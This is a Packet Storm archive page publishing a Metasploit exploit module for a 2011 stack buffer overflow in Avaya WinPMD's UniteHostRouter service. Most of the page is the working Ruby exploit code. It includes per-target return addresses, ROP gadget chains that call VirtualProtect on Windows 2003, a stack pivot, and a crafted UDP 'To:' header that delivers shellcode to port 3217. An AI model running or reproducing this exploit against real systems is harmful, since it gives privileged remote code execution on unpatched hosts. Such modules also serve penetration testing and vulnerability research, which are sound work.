exploit the possibilities

Avaya WinPMD UniteHostRouter Buffer Overflow

Avaya WinPMD UniteHostRouter Buffer Overflow
Posted Oct 9, 2012
Authored by Abysssec, juan vazquez, Abdul-Aziz Hariri | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability exists in the UniteHostRouter service, due to the insecure usage of memcpy when parsing specially crafted "To:" headers. The module has been tested successfully on Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.

tags | exploit, overflow
systems | windows, xp
advisories | OSVDB-82764, OSVDB-73269
MD5 | 65decb9190e509e354fc7ee1628fee3a

Avaya WinPMD UniteHostRouter Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
parsing specially crafted "To:" headers. The module has been tested successfully on
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
},
'Author' =>
[
'Abdul-Aziz Hariri', # Vulnerability discovery
'Abysssec', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '82764'],
['OSVDB', '73269'],
['BID', '47947'],
['EDB', '18397'],
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
['URL', 'http://secunia.com/advisories/44062']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
'Space' => 1024,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Avaya WinPMD 3.8.2 / Windows XP SP3',
{
'Offset' => 260,
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
}
],
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
{
'Offset' => 260,
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
}
]
],
'Privileged' => true,
'DisclosureDate' => 'May 23 2011',
'DefaultTarget' => 0
))

register_options([ Opt::RPORT(3217) ], self.class)
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end

def nop
return make_nops(4).unpack("V")[0].to_i
end

def exploit
connect_udp

if target.name =~ /Windows XP SP3/
buf = "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
elsif target.name =~ /Windows 2003 SP2/
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
buf = rand_text(3) # padding
buf << rop_gadgets
buf << "\xeb\x7f" # jmp $+0x81
buf << rand_text(0x81-2)
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
buf << rand_text(target['Offset'] - buf.length)
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
end

request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"

if target.name =~ /Windows 2003 SP2/
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
end

request << payload.encoded # The shellcode will be stored in the heap

print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
udp_sock.put(request)
disconnect_udp
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    10 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close